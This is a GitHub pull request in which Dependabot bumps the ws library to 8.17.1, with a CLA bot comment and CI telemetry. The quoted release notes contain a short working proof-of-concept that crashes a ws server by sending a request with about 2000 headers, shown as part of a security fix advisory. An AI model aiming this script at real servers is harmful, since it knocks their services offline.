Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): bump ws from 8.4.0 to 8.17.1 in the npm_and_yarn group across 1 directory #521

Merged
merged 2 commits into from
Jul 8, 2024

Conversation

dependabot[bot]
Copy link
Contributor

@dependabot dependabot bot commented on behalf of github Jun 18, 2024

Bumps the npm_and_yarn group with 1 update in the / directory: ws.

Updates ws from 8.4.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore <dependency name> major version will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)
  • @dependabot ignore <dependency name> minor version will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)
  • @dependabot ignore <dependency name> will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)
  • @dependabot unignore <dependency name> will remove all of the ignore conditions of the specified dependency
  • @dependabot unignore <dependency name> <ignore condition> will remove the ignore condition of the specified dependency and ignore conditions
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Bumps the npm_and_yarn group with 1 update in the / directory: [ws](https://github.com/websockets/ws).


Updates `ws` from 8.4.0 to 8.17.1
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.4.0...8.17.1)

---
updated-dependencies:
- dependency-name: ws
  dependency-type: direct:production
  dependency-group: npm_and_yarn
...

Signed-off-by: dependabot[bot] <[email protected]>
@dependabot dependabot bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Jun 18, 2024
@CLAassistant
Copy link

CLAassistant commented Jun 18, 2024

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.
1 out of 2 committers have signed the CLA.

✅ lmangani
❌ dependabot[bot]
You have signed the CLA already but the status is still pending? Let us recheck it.

Copy link

github-actions bot commented Jul 8, 2024

Workflow Telemetry - K6 Test qxip/qryn / Run k6 on qryn:latest

Workflow telemetry for commit dd1d10d4bca068b440735328a213a7e7bc7257c0
You can access workflow job details here

Step Trace

gantt
	title Run k6 on qryn:latest
	dateFormat x
	axisFormat %H:%M:%S
	Set up job : milestone, 1720478398000, 1720478400000
	Initialize containers : 1720478400000, 1720478416000
	Checkout : 1720478416000, 1720478418000
	Run actions/setup-go@v4 : 1720478418000, 1720478418000
	Download k6 for Prometheus : 1720478418000, 1720478419000
	Download k6 for Prometheus : 1720478419000, 1720478419000
	Collect Workflow Telemetry : 1720478419000, 1720478419000
	Wait for Loki API : 1720478419000, 1720478419000
	Run k6 loki test : 1720478419000, 1720478484000
	Run mv summary.txt loki_summary.txt : 1720478484000, 1720478484000
	Wait for Prom API : 1720478484000, 1720478484000
	Run k6 prometheus test : 1720478484000, 1720478546000
	Run mv summary.txt prom_summary.txt : 1720478546000, 1720478546000
	Wait for Tempo API : 1720478546000, 1720478546000
	Run k6 tempo test : 1720478546000, 1720478621000
	Run mv summary.txt tempo_summary.txt : 1720478621000, 1720478621000
	Strip Text report : 1720478621000, 1720478621000

Loading

CPU Metrics

chart_stacked_area_time_4e5aa88b-72e0-4b38-a6c4-43be86e7417c

Memory Metrics

chart_stacked_area_time_475f62be-fb3e-453d-973e-51a63f0541ed

IO Metrics

Read Write
Network I/O chart_line_time_6da96814-a099-40c9-bc94-55fa326d1241 chart_line_time_52f0e401-c4dc-4bfb-a187-e4f4f7cef42a
Disk I/O chart_line_time_4189dcca-72e2-44b2-a0b3-59d7ddc08afa chart_line_time_e405832b-8e0f-46b0-892c-af3e4a8c0d90

Process Trace

Top 100 processes with highest duration

gantt
	title Run k6 on qryn:latest
	dateFormat x
	axisFormat %H:%M:%S

Loading

@lmangani lmangani merged commit 5a68c4d into master Jul 8, 2024
12 checks passed
@lmangani lmangani deleted the dependabot/npm_and_yarn/npm_and_yarn-2f6774edab branch July 8, 2024 22:44
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants